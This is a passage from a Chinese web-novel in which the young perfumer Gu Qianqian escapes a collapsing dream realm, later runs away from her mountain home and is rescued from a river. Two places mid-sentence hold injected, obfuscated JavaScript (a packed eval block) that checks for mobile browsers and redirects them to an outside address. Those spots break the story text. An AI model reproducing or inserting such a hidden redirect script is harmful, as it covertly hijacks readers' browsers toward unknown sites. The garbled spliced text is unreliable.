顾千芊起了兴致,却是不肯了,软磨硬泡了半天,见对方一脸坚决壮士断腕般死活不肯唱的表情,只得悻悻然作罢。 她闭目养神意识朦胧间,突然听到身旁有低低的歌声:“正月红梅半吐蕊,二月玉兰探还回。三月梨花幽香羞,四月丁香结怨愁。五月牡丹绽娇繁,六月夏荷睡静禅……” 也许是宋子溪最后心软了,想唱着歌哄她入睡。 可这唱的真的是……太难听了啊。 调子跑到了十万八千里,没一句准的,根本就是从来没听过的全新版本。 顾千芊一个挺身起来,笑出鹅叫,狂飙眼泪:“啊哈哈,原来宋子溪你唱歌这么惊世骇俗啊,可谓是,千山鸟飞绝,万径人踪灭,我没背错吧?这个,老先生还夸你说你六艺精通样样行,其实你也有不会的嘛,啊哈哈哈……” 这一捧腹大笑不小心牵扯到了方才小腿上被划的伤口,她不一会儿又哎呦着打滚叫疼。 宋子溪羞恼不已,气地想把她摔在地上:“……不唱了!爱听不听!” 顾千芊忙止了笑,绞尽脑汁想了想该怎么夸,半天憋出一句:“那个,你肺活量还是不错的。” 宋子溪:“……” “哎你怎么又生气了,别生气嘛,好好好,是我错啦。我给你赔罪,我唱歌给你听啊。” “……七月合欢甜似蜜,八月蒲子谢白头。九月桂花黄满枝,十月寒菊残半秋。冬月水仙丽人美,腊月白雪胜芳菲。” 宋子溪没吭声,只静静地听着。 少女嗓音软糯,歌声似百灵鸟般婉转清脆,甜如浸蜜。 片刻后,顾千芊闭着眼又开始嚷嚷:“宋子溪,我好无聊啊,你讲故事给我听吧。” “想听什么?” “啊我要是就这么死了,不是看不到笑狐公子的乾坤诀结局了吗,啊啊不要啊,不行我一定得托魂给谢瑶,让她把大结局烧给我。” 宋子溪按住她乱晃的脑袋:“安静点,大结局还没开写呢。再说了,你不是发誓要不择手段折腾我,不让我当众出糗颜面扫地不罢休吗,接着好好思考捉弄我的法子吧,我等着。” 他摸摸她的脑袋,难得温柔:“好好休息吧,好不好,睡一觉,睡醒就没事了。” 少女沉沉睡去,宋子溪将她安顿在一处安全的角落。 “真是没心没肺的野丫头,一沾地就睡着了。” 他俯下身,戳戳顾千芊昏睡的脸蛋,自言自语:“等出了香境,可能要很久才能见面了……你肯定认不出我了,也不知道你到时还记不记得我。” “你真的很烦,天天捉弄我,没见过比你还难伺候的,要不是陛下的命令,我才懒得在暗处保护你。” 他轻轻弹一记她脑门:“最后和你说一句,你真的很蠢。” “以后我不在你身边了,学聪明点,不要被别人欺负了啊。” 他拍怕膝盖站起来,抬眼望向这一处无际茫茫沙漠,没有画笔没有颜料,他拿起一块锋利的石头,割开自己的手腕,沾了殷红的血在荒地上作画,宋子溪知道有个秘术,没有出口,只能毁了这个香境,以血为祭送你出去。 血蔓延开来,像盛开在沙地的诡异红莲,宋子溪脸色渐渐苍白,他扶住颤抖的右手指尖,一笔一顿画完阵法。 这个逃生的术法太过霸道,会反噬作画人,不过现在,为了防止香境崩溃后的时空错乱,精神重创,这也是唯一的法子了。 顾千芊在睡梦中咂咂嘴,转了个身半睁开眼,最后的视线里,是宋子溪半跪在地的身影,遍地鲜红的血,和沿着鲜血蔓延开疯狂生长的巨大绿色蔓藤,遮天蔽日。 天地开始动摇,沙漠凹陷坠落,所有的场景如流沙一般消逝。 她费力的起身,想叫出宋子溪的名字,却发现自己发不出任何声音。 视线瞬间重归黑暗。 4. 出走(一) 从崩溃的香境逃出来后,顾千芊整整昏迷了三日。 受破碎香境的影响,顾千芊神识受扰精神受创,醒来后脑子也不甚灵光,只记得香境中还有个同窗,她醒来能下地后,第一时间就跑去学堂找宋子溪,却意外得知他已退学离开,据说是被亲戚接回京城养伤了。 离开就离开吧,不过好歹两看相厌互相折腾了这么久,要走之前也不和自己这个死对头道个别,顾千芊心中颇有些憋屈。 不过她没心没肺,没郁闷多久,日子渐长,这件事情便被她逐渐忘却了。 时光荏苒,顾千芊转眼已是十六岁的大姑娘,她的幻香术也颇有精进。 顾千芊尚小时就已经显露出非凡的调香本领,几十种香料依次放在鼻尖轻嗅,在寻常人看来都是闻久了容易打喷嚏的货色,无甚特别,而她却能从次品到顶级一一分辨出来,还能侃上一大堆差异道理。 掐指算来,从小到大她已经调制过不少香品,市面上常见的几种幻香,她的调制技艺已是炉火纯青。 “长忆”以白檀木香为基调,可以让你梦到最想见的人;“相思引”为桑云叶伴月见草的淡雅清味,可以让人在梦中得偿所愿与心念之人两情相悦;“黄粱”和“南柯”均前调甜腻余味微苦,可以让求香者在美梦里功成名就青云直上。 她曾因为好奇,做了市面上的爆款香方“春心荡漾”,无意将几粒香粉洒到了池塘里的一只雄鸳鸯翅膀上,生生折的湖中另一只雄鸳鸯芳心暗许如胶似膝。 立志成为诗人的谢谣见状,很是感慨,脱口咏道:鸳鸳相抱何时了,鸯在一旁看热闹。 那只雄鸳鸯最后爱而不得,绝食殉情了,实在是罪过。 每个成功的妙香师背后,必定有一个要求苛刻的师父。顾千芊也不例外。 闻人倩每隔七日,都会亲自考核顾千芊的调香课业精进情况,若是考核结果不甚满意,接下来的七日她会监督顾千芊重新拿起《香乘》、《香典》、《陈氏香谱》等等,反复朗读并背诵全文。顾千芊苦不堪言。 她喜欢调香,可背书也太枯燥了! 所谓上有政策下有对策,重罚之下必有勇夫,山人自有妙计。 “何为汉建宁宫中香?” 顾千芊摇头晃脑,一口气背出不带喘气的:“黄熟香四斤,香附子二斤,丁香皮五两,藿香叶四两,零陵香四两,檀香四两,白芷四两,茅香二斤,茴香二两,甘松半斤,乳香一两,生结沉香四两,枣半斤。将以上香料研成粉末,加入炼蜜调和均匀,窖藏月余,取出,搓制成丸,或压制成饼焚薰。” 闻人倩赞许地点点头。 “如何看待幻香术?” 顾千芊不假思索,表情端庄:“幻香术可控七情,动六欲,吸神识,可清神醒脑,亦可惑人神志,可虚化时空,亦可诛心杀人,或利或害,在于人心。于妙香师而言,香道之重,在于本心。保初心不改,不被利扰,不被名困,方能保证手中之香至纯至清不为邪道所惑……” 闻人倩的笑容愈发欣慰了。 她和蔼伸出手往前,顾千芊见状积极地将自己脑袋往前探,师父应该是对这答案非常满意,想抚摸她的脑袋以表鼓励。 然而下一秒,闻人倩的手准确无误地掐住了顾千芊的左耳,使劲一拧。 “嗷!” “好你个顾千芊,胆子不小啊,敢对你师父用幻香术!” 不是老练高明的妙香师,是绝对闻不出来空中一缕及其细微的混着迷迭的迦南香。 幻香“清惑”,顾名思义,这个香会解除你的疑惑,让你在脑海中不由自主听到心中期望满意的回答,可以假乱真,而当中香人事后清醒过来,也只会当自己莫名恍了神。 顾千芊疼的呲牙咧嘴,捂住耳朵,连连求饶:“哎疼疼疼!师父饶命啊!” *** 妙香师以香织梦,在朦胧中馥郁出一场幻境,每一种香就是一枕梦,材料不同,香气殊途,幻梦也各异。 纵使再多金财美人供得意欢愉,香尽梦醒后不过一场虚妄,偏偏就有人不甘心地沉溺于虚妄之中,将梦境与现实颠倒,孰真孰假不愿面对,一柱幻香袅袅燃到天明。 这世上顶尖的妙香师出身于天香殿,以住在十二月殿,手持镇香令的十二位大香师为尊,妙香师行规甚严,正版保质幻香只能来自上榜入册的各大香阁,价格由价值决定受供需关系影响,一支品佳的幻香常常在各地香阁被叫卖到数金。 若以被探梦者的血为香引,或触碰过和贴身的物什为香媒,再以繁琐的香料为材可用幻香术制成“返魂香”。 此种幻香不同于其他普通燃香,它可令施术者在神思的梦境中回顾一个人全部的往昔。 返魂香。斯灵物也,香气闻数百里,死尸在地,闻气乃活。 这是《十洲记》上记载的一段异闻。汉武帝时期香料盛行,据说西域月氏国贡返魂香三枚。大如燕卵,黑如桑椹,燃此香,病者闻之即起,死未三日者,薰之即活。 虽然返魂香确实有去腐生肌的药效,但活死人生白骨的传闻实在不靠谱,谢谣小时候曾好奇的捧着讲汉武帝和李夫人凄美爱情传说的话本,期待地问顾千芊,换来她鄙夷不屑的一瞥。 “用膝盖想想也知道是假的,难不成大家老来时调个香薰一薰就都不老不死了?再说了,谁不知道现今皇上仍在苦苦思念一个已故去十几年的妃子,唔,据说那宠妃还是当年尚在王府时走的,要是返魂香这玩意儿真有用,也不用皇帝孤独追忆那么多年了。” 春光融融的好日子,宜看书,宜八卦。 顾千芊躺在藤木躺椅上,磕着瓜子唠嗑了半天,谢谣怅然的捧着话本唏嘘了半天,汉武帝用返魂香召回李夫人亡魂,两人旧情复燃长相厮守的故事,原来不过是大团圆结局主义者的脑补。 返魂香让伤情的帝王在梦中渡入了往昔的回忆,让他恰如当年亲历般,见到了温婉美貌依旧的爱妃,香燃尽梦醒后,执念已深的帝王误认为是美人亡魂重回尘世与他相会,实则一切不过一场易碎沉迷的幻梦。 传说之所以是传说,只是传的人多了又没有人去说它,前人闲来无事乐于杜撰些浪漫唯美有调调的故事,后人也乐于捧着浪漫奇闻的话本子唏嘘,这就成了代代相传的传说。 顾千芊不屑,对此表示真是无趣又无聊。 谢谣拍大腿感慨:“你这人也太没情调了!” 与顾千芊不同,谢谣从小在幻香术上的天赋平平,她娘亲见此,便也不逼着她接自己衣钵当个妙香师,谢谣从小饱读各类小言话本,立志当一位话本作家。 小时候,谢谣常在常青山后山一片空地上搭个茶桌子,扯扯皮讲讲故事,茶资是如话梅山药饼之类的零嘴小吃,山下村里的小孩们常揣着包茶资,拖着板凳眼巴巴的围坐,咬着手指听的入神。 而年幼的茶博士谢谣的原创故事有几大特点,恶俗浮夸的章节标题,张扬不羁的写作手法,真正的读者,敢于直视惨烈的天雷,敢于面对淋漓的狗血。 例如:《苦命阿妹,一个馒头引发的血案》,《滚滚红尘走一遭,千里寻夫之路肝肠寸断》,《痴情书生天天守墓求爱,女鬼阿飘阴阳相隔为哪般》。 饱受乡村艳情白话文学的熏陶,谢谣从小就展现出在文学创作上的非凡天赋,当一众村娃们还怯怯的跟着私塾先生学用小红小明造句时,她已经能熟练的使用罗二狗和朱大丽等代名完成她的创作,例如,摘自她的山村爱情故事系列《罗二狗和朱大丽》: 女:罗二狗啊,罗二狗,你为什么要叫罗二狗?男:哦,朱大丽,如果你愿意,我愿意忘记我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107039|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓名,爱情就是我的姓名! 闻人倩一方面要防着徒弟闯祸捣蛋,一方面还要防着女儿坑蒙拐骗,简直是要吐血。 妙香师成天躲房里闻香调香,宅若久时天然呆,呆的久了难免不开窍,谢谣看多了缠绵悱恻的爱情故事,自诩情感导师,是死脑筋姐姐追求幸福道路上不可或缺的引路者,殷勤地把瞒着闻人倩搜寻来的,时下流行虐恋话本和顾千芊分享。 她拉着顾千芊一起,翻开话本《三生情缘之杏花微雨候君归》。 “这个故事的开篇十分唯美……” 相遇的背景是三月,那是个杂花生树,群莺乱飞的浪漫季节,话本中才子佳人情郎娇妹初遇的时节,有很大机率都在三月桃林、飘落不休的花雨中,美人配美景更赏心悦目,这个多情的季节让人蠢蠢欲动。 她是清秀的浣衣女子,在桃林旁的小溪中用白皙的手,掬一捧清澈的河水,有白衣翩翩的俊朗少年骑马经过,英挺的风姿映在透亮的溪河上,映入少女如春色一般盎然的眼眸。 哒哒的马蹄声从远即近,少女手中的清水从指缝间淅沥滴落。 远山的佛塔旁,古寺的青铜钟被敲响,两人不约而同抬头,视线在半空中相逢,水浸湿了少女的衣袖,滴落在她裙角晕染开的蓝紫色夕颜花绣纹。她下意识抚上脖颈间那枚羊脂玉平安扣,那是已去世的父母留给她的护身符,将来要送与心上人的定情信物。 以上是第一章,接下来的情节,顾千芊已经可以猜到,她也不感兴趣。 若是两人在这第一眼中就碰撞出爱的火花,倾心相许如胶似漆,顺水成章结局圆满,这将是一篇甜文;如果美中不足只有一人坠入情网,两个人陷入你爱我我爱她她爱路人甲百读不爽的戏码,就是一篇虐心文。 谢谣两眼闪闪,西子捧心状:“四目相观,都觉虽相逢一揖,而意气觉已千秋矣!” “一见钟情,情窦初开,暮翠朝红,纠缠不清,欲罢不能……啊,这是什么绝美爱情!” 世上有千奇百怪的姑娘,你永远猜不透她们的心思,要说到共性唯有一个,就是每个姑娘,都做过粉色的少女梦。 在少女们情窦初开的梦中,与心上人的邂逅理应是浪漫而脱俗的,按话本里的描述,有清晨荷叶上,第一滴露水盈盈坠落时的七分青涩,还有飘落的梨花,轻拂唇瓣的三分温柔。 而顾千芊不是普通姑娘,爱好热血少年画本的她对此嗤之以鼻。 她将话本推开,斩钉截铁道:“一见钟情这种事情对我来说怎么可能嘛!” 谢谣挠了挠头:“好像确实不大现实哦……” 顾千芊认同的点头。 上述那般美好的邂逅根本不会发生,自从她小时候出现困于香境的意外后,师父便将她看得极牢,严禁她走出常青山一步。 就算她故意去溪边晃荡等待缘分天降,这苍林葱茏野兽遍地的大山深处,也不会出现白衣翩翩的骑马美少年,这事真是无可奈何。 谢谣道:“不,我说的不可能是,翩翩美少年怎么可能看上你嘛,哈哈哈……” “……” 顾千芊冷笑一声,将手指捏的咯咯做响,转身对着身后的果树利落的一记猛拳。 谢谣一脸惊恐地看着树上的麻雀尖叫着四飞逃窜,有一簇红色的浆果吧唧掉下来,糊了她一脸。 她扛起小言话本,拔腿就逃:“壮士打扰了!”救不活了,大哥你凭实力单身吧。 谈恋爱是不可能谈恋爱的,时间太宝贵,花在男人身上太浪费,感情这种东西只会影响我调香的速度这样子。 此刻的顾千芊还不知道,一月后她将会对一个男人一见钟情,情窦初开,暮翠朝红,纠缠不清,欲罢不能……郎心似铁和娇羞无措全被她一个人演全了。 嗯,真香。 5. 出走(二) 十八岁的生日过后,顾千芊一直琢磨着出师,想去外面闯荡。 秋雨将屋前的梧桐树笼在一层水雾下,连着远方的山色氤氲成一幅朦胧的山水图。 凉秋本是容易感怀的季节,闻人倩取了酒窖里的陈年桃花酿,将这清冽的酒就着窗外的秋色入喉,心头无端生出一阵怅然。 屋前这一株梧桐本是顾千芊和谢谣出生那一年所种,转眼间牙牙学语的婴孩长成了芳华正好的少女,翠嫩的树苗长成了苍碧的大树。 谢瑾执起青瓷酒壶,将桌上两杯酒盏倒满,看见妻子闻人倩出神的看着窗外的那株梧桐,放下酒壶轻轻一笑:“千芊最近学成了返魂香的秘方,找谣儿炫耀去了,你在幻香术上素来对她要求苛刻少见笑脸,难得大方夸奖她一回,她现在一定很开心。” 按顾千芊的风格,不趁着这个机会在谢谣面前卖力自夸一番是不会罢休的。 闻人倩忍不住低低一笑,扶了扶额角,叹息:“千芊这丫头,天性就藏不住心情,也不知是像——” 余思未落,不由愣怔住,思绪飘开远去,也是一年绵绵未歇的梧桐秋雨,秋雨胧胧中飘来一面伞,绘着双鲤戏水的伞面微抬,露出一张溢满笑意的俏丽脸庞,鹅黄衫子的少女在树下开心的眨眼睛:“师姐,师父又夸我啦,我和你说啊——” “师父,我和你说啊——”陡然清脆脆的炸开一声,记忆中的少女与此刻眼前的容貌重合,惊的闻人倩手一晃差点翻了手中的酒盏。 心血来潮稍稍吓一下而已,有那么吃惊? 顾千芊吐了吐舌头,端端正正地坐好,再轻咳一声,对上闻人倩的眼睛郑重道:“师父,今年我已经十八了。”她眨眨眼睛:“所以我能离开常青山,能出门了吗?” 闻人倩看着她若有所思:“时间过得这么快,千芊都十八岁了,都可以出嫁了。” 顾千芊一窘:“师父,我说的是出师,出师!” 闻人倩笑着理了理她皱起的衣袖:“你这孩子太过单纯,师父的想法不会变。” 她摸了摸顾千芊的脑袋:“你啊,不会看心机遇事又死心眼,最容易上当,一旦出门肯定要受欺负,听话,乖乖待在常青山,可不要打什么歪主意,要是又调皮胡闹,师父肯定是要教训你的。” 顾千芊一脸憋屈的铩羽而归。 待顾千芊走后,闻人倩看着盏中酒的清浅碧色,不由黯然:“转眼已经过了十八年,千芊长的和小师妹越来越像,可这不是什么幸事。依她不安定的性子,难道我们能拦住她在常青山过一辈子么?” 谢瑾看着窗外郁郁葱葱的梧桐树,许久后道:“又有什么法子,只能拦的住一时算一时,护的住一日算一日罢了。” 夫妻两心情复杂的看着窗外的梧桐,忆起往昔是感伤,遥望以后是担忧,一时俱是沉默。 让顾千芊下定决心跑路的,是楚恪的一封信。 楚恪是一名妙香师少年,小时候曾跟着师父胧月夜来常青山拜访过闻人倩。 在顾千芊小时候占山为王称霸一方时,他给顾千芊当过一段时间小弟,她捣蛋来他放哨,她闯祸来他背锅,任劳任怨忠心耿耿,加上两人又爱切磋幻香术,一来二去,便成了好朋友。 至于他的师父胧月夜,用闻人倩的话来说:美的不像常人,在幻香术上的造诣,也变态得不像常人。 楚恪的信中写道,他的师父胧月夜莫名失踪杳无音信数年,现在他也莫名其妙被公输家追杀,东躲西藏了这么久,筋疲力尽避无可避,最后只能决定写信向老大顾千芊求助。 顾千芊迅速回信,放出了数只信鸽,等了七日还是没有收到任何信息。 信中写道,胧月夜曾告知楚恪,不要因为她的失踪而随便求助声张,那便是不希望师父闻人倩知道这件事,顾千芊和谢瑶商量着,还是放心不下,决定出门去揽月峰走一趟。 当天晚上两人就打点细软悄悄溜出了常青山,因着详细的筹备打探,加上闻人倩和谢瑾都没有加以警戒,到叫她们两走了个顺顺当当。 其实顾千芊对出逃这件事预谋已久。 她本就是坐不住的人,一直憧憬着去看看山外的城景人物,而心动不如行动,被师父以各种莫名理由困在常青山这么久,忍无可忍无需再忍,她早就憋到了爆发行动的临界点。 顾千芊兴奋异常,她拿出一枚铜钱把玩,摇了摇:“阿谣,我问你,出来混最重要的是什么?” 谢谣摸了摸下巴,深沉状:“书上说,出来混做人要像铜钱一样,外圆内方,方圆结合,不能太圆滑市侩,也不能过于刚直一根筋,要注意机灵变通!” 顾千芊噎住:“呃,是我格局小了,我只是单纯指钱最重要而已……” *** 离常青山最近的大城市是芜城,去芜城这一路走的颇为通畅,沿途闲逛欣赏了各地特色风土人情,累了就找个客栈歇脚品茶,听灰袍长须的说书人抑扬顿挫的评上一段风月。 总之一路扯淡八卦,走得还算顺心,一直平安到濮州和芜城交界处玉泉山。 玉泉山有璧山山脉的小家碧玉之称,有名家写文章赞它清晨雾气笼罩时,如轻挽面纱的秀丽少女一般迷人,顾千芊一直搞不懂,为什么文学作品中时常会以女子的姿色或面貌来比拟自然盛景,比如“枝欹斜而腾挪,如少女的一只臂膊。”,比如“山如眉黛,小屋恰似眉梢的痣一点。”,有禅师说过,心中有什么看外界景物就是什么,看来大家都有一颗藏着美人坐怀不乱的心。 谢谣深沉道这是高手的巧妙比喻,时代虽不同但大抵的审美观不变,大家都爱欣赏美女,笔触缠绵悱恻一点,浅显易懂又不失情趣,容易引起读者共鸣。 顾千芊了悟的点点头,看来想要深入了解文学首先得深入了解女人。 两人此刻是在玉泉山镇上的一处食馆,有位油头粉面的公子哥骑着膘壮的名驹到处得瑟溜达,他看到两人,眼前一亮,挑着贼迷迷的眼睛,朝路边吃饭的两人吹了声口哨。 光天化日下明目张胆的被调戏,这个没脑的少爷实在是胆肿了,才去招惹顾千芊这朵格斗系的霸王花,她冷哼一声,啪的一下将筷子拍在桌上,卷起袖子就要冲上前去干仗,被谢谣一把拉住,她豪迈的拍掉谢谣的手,呲牙道:“安心啦,这些娇生惯养的战五渣怎么会是我的对手!” 谢谣无力道:“打狗也得看主人呐,我担心的是那些渣渣……” 小打小闹有益身心健康,像顾千芊壮士那般没轻没重,暴力升级出血见红,被狗主人一路追杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他靠近花魁的床帏,嘴里念叨着心肝美人好哥哥疼你,将纱帘轻轻一撩—— 原本在床上躺着的花魁一个鲤鱼打挺,一记锁喉将他唰的摔进床内,那花魁面如重枣,唇若涂脂,衣裳半解,露的是健硕胸肌,威风凛凛,他娇羞掩面道:“洒家……不,妾身因这姣好身材,才赢得花市魁首,简称花魁的名号,今日妾身与公子有缘,自荐枕席,长夜漫漫,春宵苦短,还望郎君怜惜……” 公子哥尖叫一声,吓出一声冷汗,瞬间彻底萎了,他狼狈不堪地从椅子上窜起来,连自己的马都顾不上了,提起裤子落荒而逃。 “哈哈哈哈哈!” 顾千芊和谢谣看着他滚走的惊惶背影,拍桌狂笑。 顾千芊对她的香很满意:“怕是他以后去青楼都有心理阴影了,这种油腻猥琐男,就该让他萎一辈子。” 谢谣惋惜道:“可惜这香梦不够精彩啊。” “后半部分应该有花魁姑娘龙精虎猛,一番游龙戏水,飞龙在天,双龙戏珠,直捣黄龙,只榨得他面如菜色,连连求饶,奄奄一息……” 顾千芊:“……喂喂。” 你到底瞒着师父看了多少少儿不宜的话本啊…… 6. 重逢(一) 潇洒了几日,顾千芊和谢瑶发现了一个严峻的问题——钱不够用了。 没钱寸步难行,两个人想了半天,决定调香卖香。 制出一款成功的合香,需要大量的试验,而试验能最终成功,是需要大量的时间和金钱堆积出来的。 若是反复失败,投入的金钱与精力将化为一缕青烟散于天地间。 所以合香一事,只有有银钱,有闲情,有耐心的香师才会专注于此。 手头没有什么好香材供顾千芊发挥,她只能利用能找到的,比如桂花、白芷、艾草之类的入门香料,靠着对香味的敏感调整配制。 天地孕育,万物有灵。所有香材,都是机缘润泽,造化所生。而妙香师们,能否物尽其用,对得起这一番造化,也不单纯只凭技法熟练。 原本用山泉浸过的桂花或茉莉烘干后再配上木屑,加上一些香料,用蜜搓成丸熏制,香气闻起来更馥郁更持久,但条件有限,无论是蜜还是香料都需要花钱,只有干花和木屑可随地取材,所以只能简单凑合着,熏上一熏。 顾千芊信心满满:“高端的食材只需要最简单的烹饪方式,调香也是如此,过份依赖可加重气味的香料,那香便失了本质,沦为下等,只有用最简单的材料,熏出最天然的香气,才是上等!” 她曾见过师父闻人倩单单取用腊梅花瓣,稍稍浸泡炮制下,点燃便能熏出一室梅花清香,比起那种浓郁的杂香不知要雅上多少。 调好的香放到香市上出售,得先取名,还得附上一段调香师的简评。 对于合出的第一款香,文盲式香评代言人顾千芊:“唔,怎么形容,坏了的大西瓜味?” 经过谢谣艺术加工后的香评:“适合小龙女类的清冷女生,霜雪是她的肌肤,月光是她的眼眸,是始料不及的心动,是唯恐不及的惊鸿。” 第二款香。 顾千芊:“烧香味,就是在佛前苦苦求了几千年后被腌入味的感觉。” 谢谣:“你是红尘欲海中的香客,他是常伴青灯古佛的僧侣,他低垂的眉眼如山峦,是你绕过人间山河,才遇到的人间烟火。” 第三款香。 顾千芊:“木头在杂物间放了很久烂掉,拿出来在太阳下晒出的蛀虫味。” 谢谣:“木质香调,被烘晒出来的暖意,是安心温柔的男友香,看客散去,唯你我不忘,与卿在旁,别来无恙。” 顾千芊:“……牛逼。” 除此之外,顾千芊物尽其用,调制了不少四弃香。 四弃香这个香,是一种穷玩香品。荔枝壳,梨渣,甘蔗渣,陈皮。就这四样,都是吃水果剩下要被丢弃的。弃而不用的东西拿来做香材,所以叫四弃香。 此香成本低廉,几乎是人人都可做,最早脱胎于底层士人的雅玩,到后来比肩沉檀龙麝,列为小四合。甚至在宫里也颇得一众贵族喜爱,是一个富人吃粗粮的典范。 “每岁元旦,太和殿设朝,金炉内所香名四弃香,清微澹远,迥殊常品,以梨及苹婆等四种果皮晒干制成。历代相传,用之已久,昭俭德也。” 总之此香受众颇广,男女老少,宫里宫外,每个时期,都有做这款香品的。 四弃香本身没什么神奇,焚起来就是偏清凉的淡淡花果香,但这个香品,配方常不确定。调香时用什么荔枝,什么梨,什么甘蔗,什么陈皮,除了原料本身,还要考虑是否炮制,是否陈化,和香工艺差距等等,导致了成品的香气常迥然不同。 毕竟众口难调,就像番茄炒蛋,很多人都会,但做出来的口味可能千差万别。 综上原因,这款香就变得很有意思了。平民有自己的调法,贵族也有自己的香方,互不干涉,虽然香名一样,穷文人烧的是附庸风雅,达官富人烧的是精致讲究。 有些半路被抄家的落魄王侯,家底已空,即便衣衫破烂,吃糠咽菜,但在起居上也要讲究焚香,用不起好的,用个四弃香也好。 此间冷暖,唯有香知。 *** 等黄昏时,谢谣从香市回来,捧着沉甸甸的钱袋子,脸上的表情仿佛在做梦:“姐妹,我们发财了,我从没有见过那么多钱!” “是个叫寤寐阁的香坊买走的,他一看见我在卖香,就以超出原价十倍包了所有的香,还让我之后如果还要售香,就来老地方找他,这香阁主人真的太好宰了吧!” 钱袋子一翻,哗啦啦倒出来一堆碎银子,亮晶晶的要闪瞎两人的眼,顾千芊也震惊了:她调的香虽然品质是不错,可是原料简陋,香味也大众,根本不值这个价,城里人傻钱多速来,诚不欺我。 她得出结论,寤寐阁虽然据说是芜城挺有名的一家香馆,但有这么败家且眼拙的冤大头主人,迟早要完。 *** 发了一笔小财,顾千芊还没好好享受几日,就发生了一见意想不到的事情——她被绑架了。 那日顾千芊揣着钱袋,去市面上买香材,就在她拿起两枚木栈香细细端详时,突然被角落的黑衣人一记手刀劈晕在地。 醒来后发现自己被五花大绑丢在马车里,被布巾捂住嘴巴动弹不得。 眼前正是先前她捉弄过的,那个油头粉面的猥琐公子哥,他阴恻恻地笑:“好你个小丫头,敢用幻香术捉弄我,现在我就把你卖给销金窟换个好价钱,看你往哪儿哭!” 马车在不知名的路上疾驰,顾千芊的心在呐喊:他大爷的!救命啊! 马车似乎在山路上颠簸了许久,顾千芊在浑浑噩噩的绝望中醒来,突然听到马车外有激烈的厮打声,她脑子一激灵,顿时精神振奋,天不亡我,莫非是救兵来也。 没等她心有戚戚自我安慰完,绑匪们慌不择路载着马车疾驰,缩窝在车内的顾千芊囫囵翻滚额头磕的鼻青脸肿,又是一个险路急拐弯,连马带车被径直飞甩下山崖。 所幸在摔落山崖半路,她在飞速下坠中途扑腾,以一个扭曲的姿势被卡在了半山腰葱郁的松枝丛中,又没等她心有惶惶自我安慰完,突然传来喀啦一声枝桠的惨叫。 一定是这树营养不良太脆弱了,一定不是我胖了。 她第一反应是自欺欺人说服自己,枝桠绝望的反驳咯吱一声断了,顾千芊整个人顺势落入了山崖底那说宽不宽说窄不窄的河中,呼啦啦溅起了好大一朵水花。 这条河本来仅有半人高,对落水者一般够不成什么威胁,可前几日下了好几场大雨,河流湍急水势迅猛,她还没来得及挣扎直起身子探出脑袋,片刻间已被冲的老远,周围没有什么可以着力的木头或漂浮物,冰冷的河水一阵阵漫上来,狼狈的扑棱了好一会儿,手脚渐渐僵直没了力气,她一边呛咳着一边绝望的想,完了,小命休矣。 天不时地不利人不和,看来是老天爷要我命丧于此处,出门闲逛被绑,遇到救兵被甩,再压断树枝坠崖,世上也就我这一朵倒霉催的奇葩了。 脑袋被不知害怕还是难过的情绪搅成了一团糨糊,顾千芊怨念的咬咬牙,人固有一死,要是知道今日这样轻如鸿毛的遗憾离世,两天前就应该把那笔横财给挥霍完啊! 视线渐渐模糊,顾千芊用残存的意识努力睁大了眼睛,陡然看到不远处缓缓游过来一个人影,也许是回光反照,她竟有一瞬的清醒。 咕隆又呛了一口水,顾千芊怔怔的看着那面庞在眼前一点一点放大,像雨过天未晴,青空悠远雾霭深深,这眼眸真好看啊。 顾千芊感觉自己的呼吸心跳在那一瞬间骤停。 周围是黛碧的冰凉流动的溪水,好似一朵青莲悄然飘落浸入湖心,漾开一圈圈涟漪。 某年桃花飘落的时节,师娘许倩曾在桃树下和她们讲过一个故事,调皮的小孩子千万不可以独自去溪河边玩,因为那里有蛊惑人心的水妖,只要美丽的水妖对你微微一笑,你就会愣怔住无法思考,轻松地被他夺走心。 晕过去的最后几秒,顾千芊还在感慨原来水妖是如莲花一样清新的美少年啊,当年以为师娘是为了不让她们调皮乱跑而故意编造的灵异故事,看来是一直误会了她老人家。 奇缘啊奇缘,老天爷着实待自己不薄,她恍悟后又愤愤呸了一声,被水噎的直翻白眼,本姑娘小小年纪就香消玉陨成了水鬼,不薄个球啊! 也不知昏过去了多久,等顾千芊悠悠转醒睁开眼,视线正对的是木质雕花的床顶。 因为落水一吓而迟钝的思维渐渐恢复,她难以置信的拍了拍脸:“我还活着?” 她掀开被子下床,四处打量,墙角放置的是钧窑彩绘花鸟青瓷白釉瓶,博古架上摆着的是青花缠枝纹烛台,案上一盏鎏金镶嵌神兽博山炉,正袅袅吐着青烟。 香气氤氲开来,顾千芊吸了吸鼻子,应是以沉香为君,辅以檀香、白芷、乳香,浸过蔷薇水,再加了蜜炮制。 有钱人,而且不是一般的有钱人。 她的视线转到挂在墙上的一幅画,瞬间脸色一变。 这是一幅简单的淋漓山水图,画虽只黑白两色,却是浓淡深浅层次分明,笔触横姿,堪称妙绝。定睛一瞧,那山石间的瀑布似真的在倾泻而下,耳边似传来山水飞溅的声响。 而重点是,那画下的印章、那个小狐狸模样的印章是……笑狐公子独有的闲章啊! 顾千芊激动了,这莫非是笑狐公子的真迹! 门吱呀一声,有个圆脸小婢女走进来,看到顾千芊起身有些讶异:“啊,姑娘你醒了啊,自从我们家少爷昨日将你从湖中救起来,你就一直昏睡着,算算你已经睡了一整日啦。” 顾千芊有些结巴:“这、这画……” 小婢女扑哧一笑:“厉害吧,这是少爷 